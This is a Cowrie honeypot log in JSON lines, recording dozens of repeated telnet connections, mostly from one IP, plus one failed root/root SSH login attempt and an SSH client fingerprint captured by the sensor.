{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37316,"dst_ip":"159.203.135.109","dst_port":23,"session":"773d8e89ccf6","protocol":"telnet","message":"New connection: 51.161.172.108:37316 (159.203.135.109:23) [session: 773d8e89ccf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:07.473592Z"}
{"eventid":"cowrie.session.closed","duration":31.320820331573486,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:07.709850Z","src_ip":"51.161.172.108","session":"d4e45d91d4e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.69.118.1","src_port":53718,"dst_ip":"159.203.135.109","dst_port":23,"session":"41af4622f06d","protocol":"telnet","message":"New connection: 34.69.118.1:53718 (159.203.135.109:23) [session: 41af4622f06d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:08.161798Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37320,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9dfc7c475bb","protocol":"telnet","message":"New connection: 51.161.172.108:37320 (159.203.135.109:23) [session: f9dfc7c475bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:08.336079Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37334,"dst_ip":"159.203.135.109","dst_port":23,"session":"08cc8b851366","protocol":"telnet","message":"New connection: 51.161.172.108:37334 (159.203.135.109:23) [session: 08cc8b851366]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:08.688678Z"}
{"eventid":"cowrie.session.closed","duration":31.538322925567627,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:08.810911Z","src_ip":"51.161.172.108","session":"967f629fc819","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37336,"dst_ip":"159.203.135.109","dst_port":23,"session":"c1f91ee56c6d","protocol":"telnet","message":"New connection: 51.161.172.108:37336 (159.203.135.109:23) [session: c1f91ee56c6d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:08.848767Z"}
{"eventid":"cowrie.session.closed","duration":32.03786778450012,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:08.913766Z","src_ip":"51.161.172.108","session":"ffc58a0bcac1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":37346,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac23474aa516","protocol":"telnet","message":"New connection: 51.161.172.108:37346 (159.203.135.109:23) [session: ac23474aa516]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:09.123454Z"}
{"eventid":"cowrie.session.closed","duration":30.87203335762024,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:09.298000Z","src_ip":"51.161.172.108","session":"56ef7e4ea972","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.211483478546143,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:09.340828Z","src_ip":"51.161.172.108","session":"6cb36502354d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40074,"dst_ip":"159.203.135.109","dst_port":23,"session":"163c9e08ba98","protocol":"telnet","message":"New connection: 51.161.172.108:40074 (159.203.135.109:23) [session: 163c9e08ba98]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:09.355407Z"}
{"eventid":"cowrie.session.closed","duration":30.93938660621643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:09.457042Z","src_ip":"51.161.172.108","session":"8cd319630d58","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.11787438392639,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:09.492553Z","src_ip":"167.99.38.72","session":"425edf463eb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40078,"dst_ip":"159.203.135.109","dst_port":23,"session":"26a15b709ee6","protocol":"telnet","message":"New connection: 51.161.172.108:40078 (159.203.135.109:23) [session: 26a15b709ee6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:09.498677Z"}
{"eventid":"cowrie.session.closed","duration":31.519127368927002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:09.721090Z","src_ip":"51.161.172.108","session":"ba1e56b83425","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40090,"dst_ip":"159.203.135.109","dst_port":23,"session":"c296d194f438","protocol":"telnet","message":"New connection: 51.161.172.108:40090 (159.203.135.109:23) [session: c296d194f438]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:09.758004Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40104,"dst_ip":"159.203.135.109","dst_port":23,"session":"313908019534","protocol":"telnet","message":"New connection: 51.161.172.108:40104 (159.203.135.109:23) [session: 313908019534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:09.826412Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40114,"dst_ip":"159.203.135.109","dst_port":23,"session":"06714e68ad9f","protocol":"telnet","message":"New connection: 51.161.172.108:40114 (159.203.135.109:23) [session: 06714e68ad9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:09.995448Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40124,"dst_ip":"159.203.135.109","dst_port":23,"session":"4df11ed5dc23","protocol":"telnet","message":"New connection: 51.161.172.108:40124 (159.203.135.109:23) [session: 4df11ed5dc23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:10.102987Z"}
{"eventid":"cowrie.session.closed","duration":31.511807680130005,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:10.827458Z","src_ip":"51.161.172.108","session":"e4f5d0261028","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40138,"dst_ip":"159.203.135.109","dst_port":23,"session":"8878091b78e5","protocol":"telnet","message":"New connection: 51.161.172.108:40138 (159.203.135.109:23) [session: 8878091b78e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:11.045224Z"}
{"eventid":"cowrie.session.closed","duration":32.23209023475647,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:11.115308Z","src_ip":"51.161.172.108","session":"72f18ef3735b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.595811367034912,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:11.181925Z","src_ip":"51.161.172.108","session":"f3a504eebb9c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.157893180847168,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:11.689982Z","src_ip":"51.161.172.108","session":"5d0d2add4ae1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40144,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4a215a6e523","protocol":"telnet","message":"New connection: 51.161.172.108:40144 (159.203.135.109:23) [session: f4a215a6e523]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:11.887981Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40156,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b68728a506b","protocol":"telnet","message":"New connection: 51.161.172.108:40156 (159.203.135.109:23) [session: 1b68728a506b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:11.940083Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40158,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd5aa256f766","protocol":"telnet","message":"New connection: 51.161.172.108:40158 (159.203.135.109:23) [session: dd5aa256f766]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:12.350364Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40166,"dst_ip":"159.203.135.109","dst_port":23,"session":"55acbbfb384d","protocol":"telnet","message":"New connection: 51.161.172.108:40166 (159.203.135.109:23) [session: 55acbbfb384d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:12.422998Z"}
{"eventid":"cowrie.session.closed","duration":31.527158975601196,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:12.434652Z","src_ip":"51.161.172.108","session":"539cc909a8f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.008028030395508,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:12.756723Z","src_ip":"51.161.172.108","session":"501b46d70323","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.238462924957275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:12.952819Z","src_ip":"51.161.172.108","session":"8251a131c45a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40176,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb1444a49f4f","protocol":"telnet","message":"New connection: 51.161.172.108:40176 (159.203.135.109:23) [session: bb1444a49f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:13.068385Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40180,"dst_ip":"159.203.135.109","dst_port":23,"session":"7023771a537f","protocol":"telnet","message":"New connection: 51.161.172.108:40180 (159.203.135.109:23) [session: 7023771a537f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:13.356914Z"}
{"eventid":"cowrie.session.closed","duration":31.185986518859863,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:13.698907Z","src_ip":"51.161.172.108","session":"e1b03f6ded64","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.58282232284546,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:14.084239Z","src_ip":"51.161.172.108","session":"a415e9c2c482","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.15044069290161,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:14.128888Z","src_ip":"51.161.172.108","session":"dd82e660c2a3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40182,"dst_ip":"159.203.135.109","dst_port":23,"session":"f908e23e392e","protocol":"telnet","message":"New connection: 51.161.172.108:40182 (159.203.135.109:23) [session: f908e23e392e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:14.322290Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40184,"dst_ip":"159.203.135.109","dst_port":23,"session":"6aaea0f52a06","protocol":"telnet","message":"New connection: 51.161.172.108:40184 (159.203.135.109:23) [session: 6aaea0f52a06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:14.388522Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40190,"dst_ip":"159.203.135.109","dst_port":23,"session":"92ded8685c4a","protocol":"telnet","message":"New connection: 51.161.172.108:40190 (159.203.135.109:23) [session: 92ded8685c4a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:14.598523Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40206,"dst_ip":"159.203.135.109","dst_port":23,"session":"07d09916291f","protocol":"telnet","message":"New connection: 51.161.172.108:40206 (159.203.135.109:23) [session: 07d09916291f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:14.639074Z"}
{"eventid":"cowrie.session.closed","duration":34.39040684700012,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:14.882632Z","src_ip":"167.99.38.72","session":"98051bd430da","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.152480840682983,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:14.946397Z","src_ip":"51.161.172.108","session":"1606e6bce65c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40216,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad41cfc7c200","protocol":"telnet","message":"New connection: 51.161.172.108:40216 (159.203.135.109:23) [session: ad41cfc7c200]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:15.071738Z"}
{"eventid":"cowrie.session.closed","duration":31.583818197250366,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:15.095150Z","src_ip":"51.161.172.108","session":"2336708ba90e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.42316460609436,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:15.127210Z","src_ip":"51.161.172.108","session":"c444f00df5d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40218,"dst_ip":"159.203.135.109","dst_port":23,"session":"09070bda78eb","protocol":"telnet","message":"New connection: 51.161.172.108:40218 (159.203.135.109:23) [session: 09070bda78eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:15.716692Z"}
{"eventid":"cowrie.session.closed","duration":31.85078763961792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:15.923542Z","src_ip":"51.161.172.108","session":"0bece89ea827","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40220,"dst_ip":"159.203.135.109","dst_port":23,"session":"92848f47e68b","protocol":"telnet","message":"New connection: 51.161.172.108:40220 (159.203.135.109:23) [session: 92848f47e68b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:15.998593Z"}
{"eventid":"cowrie.session.closed","duration":31.49319839477539,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:16.109607Z","src_ip":"51.161.172.108","session":"d12fd2802993","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.153231620788574,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:16.180749Z","src_ip":"51.161.172.108","session":"ab1bc4ae4c6f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57312273979187,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:16.389079Z","src_ip":"51.161.172.108","session":"8ed41e6712c3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.599173545837402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:16.572306Z","src_ip":"51.161.172.108","session":"22bd0b618cad","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:16.589594Z","src_ip":"122.168.114.167","session":"44bdea01a250","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40222,"dst_ip":"159.203.135.109","dst_port":23,"session":"a752c085b4cc","protocol":"telnet","message":"New connection: 51.161.172.108:40222 (159.203.135.109:23) [session: a752c085b4cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:16.881206Z"}
{"eventid":"cowrie.session.closed","duration":31.30417037010193,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:16.917374Z","src_ip":"51.161.172.108","session":"3fe0f5ce4890","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.687684059143066,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:17.165624Z","src_ip":"51.161.172.108","session":"a26bb489fd69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.27695369720459,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:17.217387Z","src_ip":"51.161.172.108","session":"2bfe7614a4fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.866778135299683,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:17.254411Z","src_ip":"51.161.172.108","session":"142995792b51","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.713136196136475,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:17.811592Z","src_ip":"51.161.172.108","session":"a786dcc37d3d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.16221570968628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:17.955920Z","src_ip":"51.161.172.108","session":"f9a520c966b3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40226,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbe78dfc01a5","protocol":"telnet","message":"New connection: 51.161.172.108:40226 (159.203.135.109:23) [session: dbe78dfc01a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:18.012191Z"}
{"eventid":"cowrie.session.closed","duration":31.318567991256714,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:18.116480Z","src_ip":"51.161.172.108","session":"28cc63f3bd6d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.51845955848694,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:18.253393Z","src_ip":"51.161.172.108","session":"68a12de9f66a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30496644973755,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:18.451927Z","src_ip":"51.161.172.108","session":"111632c69fd6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40228,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b4aacc05dbd","protocol":"telnet","message":"New connection: 51.161.172.108:40228 (159.203.135.109:23) [session: 6b4aacc05dbd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:18.552461Z"}
{"eventid":"cowrie.session.closed","duration":31.47247552871704,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:18.580430Z","src_ip":"51.161.172.108","session":"a8844a4c39b8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.927704334259033,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:18.643338Z","src_ip":"51.161.172.108","session":"cef68d320b1d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":40242,"dst_ip":"159.203.135.109","dst_port":23,"session":"067f8fa730fe","protocol":"telnet","message":"New connection: 51.161.172.108:40242 (159.203.135.109:23) [session: 067f8fa730fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:18.886093Z"}
{"eventid":"cowrie.session.connect","src_ip":"221.139.88.149","src_port":60966,"dst_ip":"10.17.0.5","dst_port":22,"session":"2a62d23e36f2","protocol":"ssh","message":"New connection: 221.139.88.149:60966 (10.17.0.5:22) [session: 2a62d23e36f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:19.229233Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:19.234290Z","src_ip":"221.139.88.149","session":"2a62d23e36f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34358,"dst_ip":"159.203.135.109","dst_port":23,"session":"50f6c43d4987","protocol":"telnet","message":"New connection: 51.161.172.108:34358 (159.203.135.109:23) [session: 50f6c43d4987]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:19.359119Z"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:19.528797Z","src_ip":"221.139.88.149","session":"2a62d23e36f2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34364,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ebdbcf43ac6","protocol":"telnet","message":"New connection: 51.161.172.108:34364 (159.203.135.109:23) [session: 9ebdbcf43ac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:19.738336Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34378,"dst_ip":"159.203.135.109","dst_port":23,"session":"03246014dc1a","protocol":"telnet","message":"New connection: 51.161.172.108:34378 (159.203.135.109:23) [session: 03246014dc1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:19.818637Z"}
{"eventid":"cowrie.session.closed","duration":31.7337327003479,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:19.982244Z","src_ip":"51.161.172.108","session":"1eb51e9e208d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.734505653381348,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:20.092229Z","src_ip":"51.161.172.108","session":"9f53269b6900","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"51.161.172.108","src_port":34386,"dst_ip":"159.203.135.109","dst_port":23,"session":"e07dd550e712","protocol":"telnet","message":"New connection: 51.161.172.108:34386 (159.203.135.109:23) [session: e07dd550e712]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T12:44:20.099138Z"}
